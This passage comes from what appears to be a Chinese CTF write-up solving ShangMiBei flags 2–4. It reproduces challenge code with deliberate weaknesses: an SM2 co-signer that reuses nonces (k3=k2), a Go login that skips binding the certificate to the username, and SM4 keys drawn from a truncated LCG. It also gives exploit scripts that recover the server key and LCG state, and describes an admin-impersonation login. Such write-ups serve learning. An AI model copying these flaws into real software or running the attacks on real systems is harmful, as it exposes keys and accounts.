a: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
b: '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
n: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
g: [
'32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7',
'BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0'
]
} as any);

let d1 = new BN(str_d1, 16);
let n = new BN(sm2.n.toString(16), 16);
let s2 = new BN(str_s2, 16);
let s3 = new BN(str_s3, 16);
let r = new BN(str_r, 16);
//s = d1*k1*s2 + d1*s3 -r mod n
let tmp1 = d1.mul(k1.value).mod(n);
let tmp2 = tmp1.mul(s2).mod(n);
let tmp3 = d1.mul(s3).mod(n);
tmp1 = tmp2.add(tmp3).mod(n);
let s = tmp1.sub(r).mod(n);
if (s.isZero()) {
let errMessage = "s=0,签名失败"
return { errMessage }
}
if (s.add(r).mod(n).isZero()) {
let errMessage = "s=n-r,签名失败"
return { errMessage }
}
let str_s = s.toString(16);
if (str_s[0] == '-') {
s = s.add(n).mod(n);
str_s = s.toString(16);
}
return str_s;
}

co-signing_client.c:

#include <stdio.h>
#include <stdlib.h>
#include <openssl/ec.h>
#include <openssl/rand.h>

#define SM2LEN 32

int error() {
printf("Error.\n");
return 0;
}

int error_partial_verify() {
printf("Error partial verify.\n");
return 0;
}

void print_flag2(const BIGNUM *d2) {
char *hex_str = BN_bn2hex(d2);
for (int i = 0; hex_str[i] != '\0'; i++) {
if (hex_str[i] >= 'A' && hex_str[i] <= 'F') {
hex_str[i] += 32;
}
}
printf("flag2{%s}\n", hex_str);
}

typedef struct {
char s2[SM2LEN * 2 + 1];
char s3[SM2LEN * 2 + 1];
char r[SM2LEN * 2 + 1];
int success;
} Result;

// 协同签名服务端签名算法
Result server(char* str_e,char* str_p1x,char* str_p1y,char* str_q1x,char* str_q1y,char* str_r1,char* str_s1){
Result res = {"", "", "", 0};

int rv = 1;
BIGNUM *e,*a,*b,*p,*n,*x,*y;
BIGNUM *d2,*r1,*s1,*p1x,*p1y,*q1x,*q1y;
BIGNUM *u1,*u2,*xprime,*yprime,*k2,*k3,*x1,*y1,*r,*s2,*s3,*s,*tmp1,*tmp2,*tmp3;
EC_GROUP* group;
EC_POINT *generator,*G,*P,*P1,*Q1,*TMP;

BN_CTX* bn_ctx = BN_CTX_new();
BN_CTX_start(bn_ctx);
if (!bn_ctx)
{ error(); return res; }
e = BN_CTX_get(bn_ctx);
a = BN_CTX_get(bn_ctx);
b = BN_CTX_get(bn_ctx);
p = BN_CTX_get(bn_ctx);
n = BN_CTX_get(bn_ctx);
d2 = BN_CTX_get(bn_ctx);
x = BN_CTX_get(bn_ctx);
y = BN_CTX_get(bn_ctx);
p1x = BN_CTX_get(bn_ctx);
p1y = BN_CTX_get(bn_ctx);
q1x = BN_CTX_get(bn_ctx);
q1y = BN_CTX_get(bn_ctx);
r1 = BN_CTX_get(bn_ctx);
s1 = BN_CTX_get(bn_ctx);
u1 = BN_CTX_get(bn_ctx);
u2 = BN_CTX_get(bn_ctx);
xprime = BN_CTX_get(bn_ctx);
yprime = BN_CTX_get(bn_ctx);
k2 = BN_CTX_get(bn_ctx);
k3 = BN_CTX_get(bn_ctx);
x1 = BN_CTX_get(bn_ctx);
y1 = BN_CTX_get(bn_ctx);
r = BN_CTX_get(bn_ctx);
s2 = BN_CTX_get(bn_ctx);
s3 = BN_CTX_get(bn_ctx);
s = BN_CTX_get(bn_ctx);
tmp1 = BN_CTX_get(bn_ctx);
tmp2 = BN_CTX_get(bn_ctx);
tmp3 = BN_CTX_get(bn_ctx);

if (
!BN_hex2bn(&e, str_e) ||
!BN_hex2bn(&p1x, str_p1x) ||
!BN_hex2bn(&p1y, str_p1y) ||
!BN_hex2bn(&q1x, str_q1x) ||
!BN_hex2bn(&q1y, str_q1y) ||
!BN_hex2bn(&r1, str_r1) ||
!BN_hex2bn(&s1, str_s1) ||
!BN_hex2bn(&a, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC") ||
!BN_hex2bn(&b, "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93") ||
!BN_hex2bn(&p, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF") ||
!BN_hex2bn(&n, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123") ||
// d2 = ds (server key)
!BN_hex2bn(&d2, "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") ||
!BN_hex2bn(&x, "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7") ||
!BN_hex2bn(&y, "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0") ||
!BN_rand_range(k2,n) ||
!BN_copy(k3, k2)
)
{ error(); return res; }

// generate k2 in [1, n-1]
while(BN_is_zero(k2)){
if (
!BN_rand_range(k2,n) ||
!BN_copy(k3, k2)
)
{ error(); return res; }
}

group = EC_GROUP_new_curve_GFp(p, a, b, bn_ctx);
generator = EC_POINT_new(group);
if (!generator)
{ error(); return res; }
if (1 != EC_POINT_set_affine_coordinates_GFp(group, generator, x, y, bn_ctx))
{ error(); return res; }
if (1 != EC_GROUP_set_generator(group, generator, n, NULL))
{ error(); return res; }

G = EC_POINT_new(group);
P = EC_POINT_new(group);
P1 = EC_POINT_new(group);
Q1 = EC_POINT_new(group);
TMP = EC_POINT_new(group);

// if r1=0 or s1=0, error
if (BN_is_zero(r1) || BN_is_zero(s1))
{ error(); return res; }

// set P1 = (p1x, p1y)
if (1 != EC_POINT_set_affine_coordinates_GFp(group, P1, p1x, p1y, bn_ctx))
{ error(); return res; }

// set Q1 = (q1x, q1y)
if (1 != EC_POINT_set_affine_coordinates_GFp(group, Q1, q1x, q1y, bn_ctx))
{ error(); return res; }

//u1 = e * (s1^(-1)) mod n, u2 = r1 * (s1^(-1)) mod n
if (!BN_mod_inverse(tmp1, s1, n, bn_ctx) ||
!BN_mod_mul(u1, e, tmp1, n, bn_ctx) ||
!BN_mod_mul(u2, r1, tmp1, n, bn_ctx) ||
!BN_mod(u1, u1, n, bn_ctx) ||
!BN_mod(u2, u2, n, bn_ctx)
)
{ error(); return res; }

//u1*G + u2*P1 = (x', y')
if (!EC_POINT_mul(group, TMP, u1, P1, u2, bn_ctx))
{ error(); return res; }

if (!EC_POINT_get_affine_coordinates_GFp(group, TMP, xprime, yprime, bn_ctx))
{ error(); return res; }

//verify r1 = x' mod n
if (!BN_mod(xprime, xprime, n, bn_ctx))
{ error(); return res; }

if(BN_cmp(r1,xprime))
{ error_partial_verify(); return res; }

//k2*G + k3*Q1 = (x1, y1)
if (!EC_POINT_mul(group, TMP, k2, Q1, k3, bn_ctx))
{ error(); return res; }

if (!EC_POINT_get_affine_coordinates_GFp(group, TMP, x1, y1, bn_ctx))
{ error(); return res; }

//r=(e+x1) mod n
if (!BN_mod_add(r, e, x1, n, bn_ctx))
{ error(); return res; }

if (BN_is_zero(r))
{ error(); return res; }
strncpy(res.r, BN_bn2hex(r), 2*SM2LEN+1);

//s2 = d2 * k3 mod n, s3 = d2 * (r+k2) mod n
if (!BN_mod_mul(s2, d2, k3, n, bn_ctx) ||
!BN_mod_add(tmp1, r, k2, n, bn_ctx) ||
!BN_mod_mul(s3, d2, tmp1, n, bn_ctx) ||
!BN_mod(s2, s2, n, bn_ctx) ||
!BN_mod(s3, s3, n, bn_ctx)
)
{ error(); return res; }
printf("s2: %s\n",BN_bn2hex(s2));
printf("s3: %s\n",BN_bn2hex(s3));
strncpy(res.s2, BN_bn2hex(s2), 2*SM2LEN+1);
strncpy(res.s3, BN_bn2hex(s3), 2*SM2LEN+1);

// flag2 的格式如下:flag2{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx},大括号中的内容为 16 进制格式(字母小写)的 d2。
print_flag2(d2);

rv = 0;
BN_CTX_free(bn_ctx);

return rv;
}

// 计算公钥P
int getPublicKey(char *str_d2, char *str_p1x, char *str_p1y) {
int rv = 1;
BIGNUM *negone, *a, *b, *p, *n, *x, *y;
BIGNUM *d2, *p1x, *p1y, *px, *py;
BIGNUM *tmp1, *tmp2;
EC_GROUP *group;
EC_POINT *generator, *G, *P, *P1;

BN_CTX *bn_ctx = BN_CTX_new();
BN_CTX_start(bn_ctx);
if (!bn_ctx) {
error();
return 1;
}

negone = BN_CTX_get(bn_ctx);
a = BN_CTX_get(bn_ctx);
b = BN_CTX_get(bn_ctx);
p = BN_CTX_get(bn_ctx);
n = BN_CTX_get(bn_ctx);
d2 = BN_CTX_get(bn_ctx);
x = BN_CTX_get(bn_ctx);
y = BN_CTX_get(bn_ctx);
p1x = BN_CTX_get(bn_ctx);
p1y = BN_CTX_get(bn_ctx);
px = BN_CTX_get(bn_ctx);
py = BN_CTX_get(bn_ctx);
tmp1 = BN_CTX_get(bn_ctx);
tmp2 = BN_CTX_get(bn_ctx);

if (
!BN_hex2bn(&d2, str_d2) ||
!BN_hex2bn(&p1x, str_p1x) ||
!BN_hex2bn(&p1y, str_p1y) ||
!BN_hex2bn(&a, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC") ||
!BN_hex2bn(&b, "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93") ||
!BN_hex2bn(&p, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF") ||
!BN_hex2bn(&n, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123") ||
!BN_hex2bn(&x, "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7") ||
!BN_hex2bn(&y, "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0")
) {
error();
return 1;
}
group = EC_GROUP_new_curve_GFp(p, a, b, bn_ctx);
generator = EC_POINT_new(group);
if (!generator) {
error();
return 1;
}
if (1 != EC_POINT_set_affine_coordinates_GFp(group, generator, x, y, bn_ctx)) {
error();
return 1;
}
if (1 != EC_GROUP_set_generator(group, generator, n, NULL)) {
error();
return 1;
}

G = EC_POINT_new(group);
P = EC_POINT_new(group);
P1 = EC_POINT_new(group);

// set P1 = (p1x, p1y)
if (1 != EC_POINT_set_affine_coordinates_GFp(group, P1, p1x, p1y, bn_ctx)) {
error();
return 1;
}

//P = ((d2)^(-1)) * P1 - G
if (!BN_zero(tmp1) ||
!BN_one(tmp2) ||
!BN_mod_sub(negone, tmp1, tmp2, n, bn_ctx)
) {
error();
return 1;
}
if (!BN_mod_inverse(tmp1, d2, n, bn_ctx) || !EC_POINT_mul(group, P, negone, P1, tmp1, bn_ctx)) {
error();
return 1;
}

if (!EC_POINT_get_affine_coordinates_GFp(group, P, px, py, bn_ctx)) {
error();
return 1;
}
printf("Px: %s\n", BN_bn2hex(px));
printf("Py: %s\n", BN_bn2hex(py));

rv = 0;
BN_CTX_free(bn_ctx);

return rv;
}

int main(int argc, char *argv[]) {
int rv = 1;
if (server(argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], argv[7])) {
error();
return rv;
}

rv = 0;
return rv;
}

这个题目代码特别特别的长,具体细节可以慢慢读。

.js文件是交互部分,梳理一下主要交互流程是:

用户输入口令和消息摘要,并发送给服务器用户本地计算出如下数据,这些数据可以在发送包的负载里找到:
e, p1x, p1y, q1x, q1y, r1, s1

服务器接收到数据后,进行协同签名,并发送以下数据返回:   
   s2, s3, r
我们需要计算出服务器的私钥d2,d2就是flag2的值

而.c文件则是告诉我们协同签名流程,这些数据主要有以下一些关系(运算均在模n下,n是曲线阶):

使用SM2的标准曲线,参数及生成元G均已知,服务器私钥为d2,并有以下P点坐标:lmiptm1jupf11789.png
使用用户发送来的p1x, p1y, q1x, q1y这几个数据设置点P1、Q1使用用户发送来的e、r1、s1计算u1、u2:v5dhwxttgaf11800.png计算中间点T(x’,y’),验证r1=x’:
nv20fcl2edc11808.png生成随机数k2、k3,并计算:
trdxk41zd3311821.png计算r:
1th54u0vj1211834.png计算s2、s3:hga5l2n0et211843.png
返回r、s2、s3

整个步骤就是看注释一步步梳理出来的,我们的目的是算出d2来,而s2、s3中一共有三个变量d2、k2、k3,并不足以求出所有未知数,所以可能需要利用r再构造一个等式才行。

然而这个题藏了个相当阴的地方,仔细观察可以发现一行代码:

BN_copy(k3, k2)

这也就是说k3=k2,因此未知数实际上就只有两个,所以很轻松就可以拿到d2了XD。

exp:

from Crypto.Util.number import *

a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16)
b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16)
p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16)
n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16)
x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16)
y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16)

E = EllipticCurve(Zmod(p),[a,b])
G = E(x,y)


################################################################################# res
e = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
p1x = "3e8eda67c5f1b70ac1950f615c2c4e0b0fe2544823ac96cb127ba318d96b4f5"
p1y = "ab1bbde72e7d1ef42e0c9d18d44a10e7250a0dfea98194f2d8d591b355fc636"
q1x = "bc44ec67a42c1613d9cf99f7bd2d1d859ab94823ba6cfb1836e8083e23bbd41e"
q1y = "faef1f853c095d6de79ba9ad9a2026d742042116b38b1c672ae67c7c7e9e762d"
r1 = "bc44ec67a42c1613d9cf99f7bd2d1d859ab94823ba6cfb1836e8083e23bbd41e"
s1 = "6c1bfef8bacf4f9c8bc4703c66458715475e50d17ba84f666372b4f4c364e16f"
r = "C987C22813DD2D0537433FF583C84B047E0313DCA072E187ACBB5A638D4E2BC0"
s2 = "E1E08110628EEB528DC26AA117AFEF8613B1D22EBFD77A9F42524CEFEB57F676"
s3 = "758CBCCFADFB5078DB26DF382A179C9AFDE1D0617D92EC5496F67380162235B6"

tt = [e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3]
e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3 = [int(i,16) for i in tt]
P1 = E(p1x,p1y)
Q1 = E(q1x,q1y)
u1 = e * inverse(s1, n) % n
u2 = r1 * inverse(s1, n) % n
T = u1*G + u2*P1
x_, y_ = T.xy()
assert r1 == x_
x1 = r - e

d2 = (s3-s2)*inverse(r,n) % n
print(hex(d2))

#flag2{a61bdbacbad62b141284a6955b14a27df01c09984e23785ec75b5e5c79e18f62}



flag3(500 pts)

题目:

login.go:

package controllers

import (
"crypto/ecdsa"
"encoding/hex"
"encoding/pem"
"fmt"
jwtgo "github.com/dgrijalva/jwt-go"
"github.com/gin-gonic/gin"
"github.com/tjfoc/gmsm/sm2"
"github.com/tjfoc/gmsm/x509"
"http_svr/config"
"http_svr/models"
"http_svr/utils"
"math/big"
"net/http"
"time"
)

// 加载证书
func loadCertificate(certPEM string) (*x509.Certificate, error) {
//certPEM := "-----BEGIN CERTIFICATE-----\nMIIBQDCB6KADAgECAgECMAoGCCqBHM9VAYN1MBIxEDAOBgNVBAoTB1Jvb3QgQ0Ew\nHhcNMjQwNzI0MDkyMTI5WhcNMjUwNzI0MDkyMTI5WjAaMRgwFgYDVQQKEw9NeSBP\ncmdhbml6YXRpb24wWTATBgcqhkjOPQIBBggqgRzPVQGCLQNCAASlPepwTvt5c4rF\nEsg1Mqs+Tyx/BwRkwyWqDyZd/gBFKp7veuoZnGK11c24xPOqR/eQZNW7ugsZW6eb\nLyXSsE9ooycwJTAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEw\nCgYIKoEcz1UBg3UDRwAwRAIgG4/snkgUCW819OotUWUfMOo0BzHX8KeTTUSLpIjy\nEO4CIEq6X7h3nVNeFzdtLWdy5+1MeNwsWawHU5YzITsNtqOe\n-----END CERTIFICATE-----\n"
block, _ := pem.Decode([]byte(certPEM))
if block == nil || block.Type != "CERTIFICATE" {
return nil, fmt.Errorf("无效的证书格式")
}

return x509.ParseCertificate(block.Bytes)
}

// 验证证书
func validateCertificate(cert *x509.Certificate, rootCert *x509.Certificate) error {
// 检查颁发者
if cert.Issuer.CommonName != rootCert.Subject.CommonName {
return fmt.Errorf("证书校验失败")
}
// 检查颁发者组织
if len(cert.Issuer.Organization) != 1 || cert.Issuer.Organization[0] != rootCert.Subject.Organization[0] {
return fmt.Errorf("证书校验失败")
}
// 检查颁发者国家
if len(cert.Issuer.Country) != 1 || cert.Issuer.Country[0] != rootCert.Subject.Country[0] {
return fmt.Errorf("证书校验失败")
}

// 检查有效日期
if time.Now().Before(cert.NotBefore) || time.Now().After(cert.NotAfter) {
return fmt.Errorf("证书校验失败")
}

// 检查组织
if len(cert.Subject.Organization) != 1 || cert.Subject.Organization[0] != "ShangMiBei" {
return fmt.Errorf("证书校验失败")
}

// 检查组织单元
if len(cert.Subject.OrganizationalUnit) != 1 || cert.Subject.OrganizationalUnit[0] != "ShangMiBei2024" {
return fmt.Errorf("证书校验失败")
}

// 检查国家
if len(cert.Subject.Country) != 1 || cert.Subject.Country[0] != "CN" {
return fmt.Errorf("证书校验失败")
}

// 创建证书链
roots := x509.NewCertPool()
roots.AddCert(rootCert)

opts := x509.VerifyOptions{
Roots: roots,
CurrentTime: time.Now(),
}

// 验证证书链
if _, err := cert.Verify(opts); err != nil {
return fmt.Errorf("证书链校验失败: %v", err)
}

return nil
}

type SM2Signature struct {
R, S *big.Int
}

// 验证签名
func validateSignature(message, signature string, publicKey *sm2.PublicKey) (bool, error) {
//rawSignatureHex, err := base64.StdEncoding.DecodeString(base64EncodedSignature)
hexSignature, err := hex.DecodeString(signature)
if err != nil {
return false, fmt.Errorf("invalid signature format")
}

isValid := publicKey.Verify([]byte(message), hexSignature)
if isValid {
return true, nil
} else {
return false, fmt.Errorf("signature is invalid")
}
}

// Login 登录
func Login(c *gin.Context, conf config.Config) {
// 解析请求参数
var req models.LoginReq
if err := c.ShouldBind(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}

// 校验用户名是否已注册过
if _, exists := models.Users[req.Username]; !exists {
c.JSON(http.StatusBadRequest, gin.H{"error": "username not exists"})
return
}

// 校验随机字符串是否过期
randomStr, exists := conf.Cache.Get(req.Username)
if !exists {
c.JSON(http.StatusBadRequest, gin.H{"error": "random string has expired"})
return
}

// 校验证书
cert, err := loadCertificate(req.Cert)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := validateCertificate(cert, models.RootCert); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}

// 判断是否挑战成功(随机字符串的签名能否用证书中的公钥验签过)
ecdsaPubKey, ok := cert.PublicKey.(*ecdsa.PublicKey)
if !ok {
c.JSON(http.StatusBadRequest, gin.H{"error": "public key in cert is not sm2"})
return
}
sm2PubKey := sm2.PublicKey{
Curve: ecdsaPubKey.Curve,
X: ecdsaPubKey.X,
Y: ecdsaPubKey.Y,
}
isValid, err := validateSignature(randomStr.(string), req.Signature, &sm2PubKey)
if isValid {
//c.JSON(http.StatusOK, gin.H{"msg": "success", "flag3": config.Flag3, "download_url": config.DownloadUrl})
generateToken2(c, req.Username, conf)
} else {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
}
}

// 生成令牌
func generateToken2(c *gin.Context, username string, conf config.Config) {
j := &utils.JWT{
SigningKey: []byte(conf.SignKey),
}
claims := utils.CustomClaims{
Name: username,
StandardClaims: jwtgo.StandardClaims{
NotBefore: time.Now().Unix() - conf.NotBeforeTime, // 签名生效时间
ExpiresAt: time.Now().Unix() + conf.ExpiresTime, // 过期时间
Issuer: conf.Issuer, // 签名的发行者
},
}

token, err := j.CreateToken(claims)
if err != nil {
c.JSON(http.StatusOK, gin.H{
"code": 5091,
"msg": "登录失败,系统有误",
})
return
}

// 将当前用户对应的缓存中的随机字符串删除
conf.Cache.Delete(username)

isAdmin := false
if username == "shangmibeiadmin" {
isAdmin = true
}
c.JSON(http.StatusOK, gin.H{
"code": 0,
"msg": "登录成功",
"token": token,
"is_admin": isAdmin,
})
return
}

数据库管理系统管理员证书.cer:

-----BEGIN CERTIFICATE-----
MIICXjCCAgWgAwIBAgIIatKGfgnOvYYwCgYIKoEcz1UBg3UwNjELMAkGA1UEBhMC
Q04xEzARBgNVBAoTClNoYW5nTWlCZWkxEjAQBgNVBAMTCVNoYW5nTWlDQTAeFw0y
NDA4MDUwNzUyMTdaFw0yNTEwMTAxMjAxMDFaMFUxEzARBgNVBAoTClNoYW5nTWlC
ZWkxFzAVBgNVBAsTDlNoYW5nTWlCZWkyMDI0MRgwFgYDVQQDEw9zaGFuZ21pYmVp
YWRtaW4xCzAJBgNVBAYTAkNOMFkwEwYHKoZIzj0CAQYIKoEcz1UBgi0DQgAEiHG2
LM9gsuJXiyo+0yDDZEVP1+3Qh+47g65eMeoUXoi0eUiGPvhehh4RaWacpVrQKJXQ
qzCqkR4n1B+7ZymwXqOB3TCB2jAOBgNVHQ8BAf8EBAMCA4gwHQYDVR0lBBYwFAYI
KwYBBQUHAwIGCCsGAQUFBwMBMA8GA1UdDgQIBAYBAgMEBQYwDwYDVR0jBAgwBoAE
AQIDBDAuBgNVHREEJzAlgQtnaXRAZ2l0LmNvbYcEfwAAAYcQIAFIYAAAIAEAAAAA
AAAAaDBXBgNVHR8EUDBOMCWgI6Ahhh9odHRwOi8vY3JsMS5leGFtcGxlLmNvbS9j
YTEuY3JsMCWgI6Ahhh9odHRwOi8vY3JsMi5leGFtcGxlLmNvbS9jYTEuY3JsMAoG
CCqBHM9VAYN1A0cAMEQCIEU8qEYGqgRTJPGI8YLRrpR7x3M2HzZOt377PwsnivGW
AiA67pgq6qfrhKsWc/B2VUqi2t+ZlK+iAM6D+Ai7NoqYSw==
-----END CERTIFICATE----

题目连接上之后有一个简易的网站,由于复现不了所以只能大致描述一下它的功能:

  • 有一个登录界面,可以输入用户名、私钥以及公钥文件,如果能通过login.go中的所有check就能成功登录
  • 还有一个注册界面,可以输入用户名和裸公钥,如果裸公钥格式正确,服务器就会用根证书发放一个完整公钥文件给你

我们的目标是用“shangmibeiadmin”成功登录,就可以拿到flag3的值以及flag4的源码。

已知的这个证书文件是个公钥文件,查看一下发现这个证书的用户就是“shangmibeiadmin”,所以如果我们能知道他的私钥的话就可以直接登录了。结合这个题只有500分这个事实,我第一反应是私钥相当小,可以直接爆出来,但是用mitm爆了2^50无果,所以只能从其他部分入手。

用gmssl这个工具可以比较轻松的生成一对公私钥证书,我们只需要把公钥里的裸公钥拆出来,然后自己随便生成个用户名就可以注册一个用户,并得到服务器颁发的公钥证书。

这里需要注意一下不能直接注册“shangmibeiadmin”,它会显示已注册

然后查看login.go可以发现他似乎根本没检验证书持有者是不是和用户名一样,所以按理来说接下来的步骤很简单,我们只需要在用户名一栏输入“shangmibeiadmin”,然后输入刚才我们生成的公私钥证书中的私钥,再输入刚才服务器下发的证书就可以成功登录。

然而我们实在是不熟悉gmssl乃至openssl这些工具,并且不出网,不能自由查找怎么使用,所以只能一直用help来看有什么参数可以用。我们遇到的最大问题是:gmssl必须要一个密码,才能生成sm2私钥文件,而这个私钥文件是用这个密码加密过的,但是我们怎么找都找不到怎么解密这个私钥文件并解析他。

这里花了很长很长时间,最后离比赛结束不到一小时的时候想了一个笨办法出来——直接去源码c文件里面加几行打印私钥d的文件,并重新编译一下再用这个工具:

image-20240906160617551

这个方法很笨但是确实有效,由于脑子有点混乱,也想不太清楚d具体该怎么拼,就用从前往后和从后往前两种顺序得到两个d,并用是否满足P=dG这个式子来进行核验,最后好歹是把自己生成的私钥d搞出来了:

from Crypto.Util.number import *
from tqdm import *

a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16)
b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16)
p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16)
n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16)
x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16)
y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16)

E = EllipticCurve(Zmod(p),[a,b])
G = E(x,y)

t = "3059301306072a8648ce3d020106082a811ccf5501822d03420004ed7a7dce0e4e2e4b779f76b4ec407b8987ba5c3beba5cd454604e587fce0a17160b29510b2beb36e36470fba3ed6bd436049a0b588e931c71df6cf0b0d0e6407"
x1 = int(t[-128:-64], 16)
y1 = int(t[-64:], 16)

P = E(x1,y1)

dd = [12437958772606967559,9879664919779981675,172814172046494727,15816591967453487196]

d = (dd[3] << (64*3)) + (dd[2] << (64*2)) + (dd[1] << (64*1)) + (dd[0] << (64*0))
print(d)
print(hex(d))
print(d*G == P)

之后按刚才的方式就可以登录上网站拿到flag3以及flag4的源码。



flag4(1000 pts)

题目:

SM4加密解密代码.py:

from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT

MULTIPLIER = 6364136223846793005
ADDEND = 1
MASK = 0xffffffffffffffff
ITERATIONS = 1000

# 从文件中读取seed
def read_seed(file_path):
with open(file_path, 'r') as file:
seed = int(file.read().strip(), 16)
print("seed:", hex(seed))
return seed

global_seed = read_seed('seed.txt')

def genRandom():
global global_seed
# print("global_seed", hex(global_seed))
for _ in range(ITERATIONS):
global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK
return (global_seed >> 32) & 0xffffffff

# 16进制字符串转bytes
def HexStringToBytes(hex_str):
return bytes.fromhex(hex_str)

# bytes转16进制字符串
def BytesToHexString(byte_seq):
return byte_seq.hex()

def genSM4KeyOrIV():
return HexStringToBytes(''.join(f'{genRandom():08x}' for _ in range(4)))

def SM4Encrypt(data_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_ENCRYPT)
return sm4.crypt_cbc(iv_bytes, data_bytes)

def SM4Decrypt(cipher_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_DECRYPT)
return sm4.crypt_cbc(iv_bytes, cipher_bytes)


print("############ SM4 Cryptographic Services Start... ###################")

iv_bytes = genSM4KeyOrIV()
print("iv hex:", BytesToHexString(iv_bytes))

key_bytes = genSM4KeyOrIV()
print("key hex:", BytesToHexString(key_bytes))

# 从test.pcapng读取数据并加密
with open('test.pcapng', 'rb') as f1:
plain1_bytes = f1.read()
cipher1_bytes = SM4Encrypt(plain1_bytes,key_bytes,iv_bytes)

# 写密文数据到cipherText.dat
with open('cipherText.dat', 'wb') as f2:
f2.write(cipher1_bytes)

# 从cipherText.dat读密文数据
with open('cipherText.dat', 'rb') as f3:
cipher2_bytes = f3.read()
plain2_bytes = SM4Decrypt(cipher2_bytes,key_bytes,iv_bytes)

# 解密密文并将明文写入到plainText.pcapng(含flag4)
with open('plainText.pcapng', 'wb') as f4:
f4.write(plain2_bytes)

总经理协同签名流量包加密使用的iv.txt:

90fc5cf2e2f47488a257fd51e0ae615

终于是一个python加密了,倍感亲切。题目主要流程是:

  • 读取seed.txt文件得到初始seed
  • 用genSM4KeyOrIV函数连续生成16字节的iv和key
  • 读取一个流量包文件,并用iv、key对流量包文件进行SM4加密
  • 给出密文文件以及iv,要求还原流量包

有古怪的地方只可能在genSM4KeyOrIV函数里,查看一下发现其是连续调用四次genRandom函数并拼接而成,而genRandom函数是:

def genRandom():
global global_seed
# print("global_seed", hex(global_seed))
for _ in range(ITERATIONS):
global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK
return (global_seed >> 32) & 0xffffffff

可以看出这是一个LCG过程,其会返回seed迭代一千次之后的高32位。

我们知道IV,也就是我们知道连续四次迭代一千次之后的seed高位,这就变成了一个简单的HNP问题。由于LCG迭代过程可以写为如下矩阵乘法:

3ajpart5uqq11863.png

所以一千次迭代也就是:

dagtyn5xdpn11871.png

对于题目来说是已知高32位,那么以IV的第一个分组和第二个分组为例,式子就可以写成:


h0eqecamajc11876.png

所以对IV所有连续的两组用第一行对应的线性等式,就可以把问题转化成规约低32位的HNP问题了,得到所有低位之后就可以向后迭代得到key,从而恢复流量包。

exp:

get xl:

c = "90fc5cf2e2f47488a257fd51e0ae615b"

MULTIPLIER = 6364136223846793005
ADDEND = 1
MASK = 0xffffffffffffffff + 1
ITERATIONS = 1000

t1,t2,t3,t4 = c[:8],c[8:16],c[16:24],c[24:32]
res = [t1,t2,t3,t4]
t = [int(i,16) for i in res]

##################################################
M = Matrix(Zmod(MASK),[
[MULTIPLIER,1],
[0,1]
])
Mn = M^ITERATIONS
a,b = Mn[0]
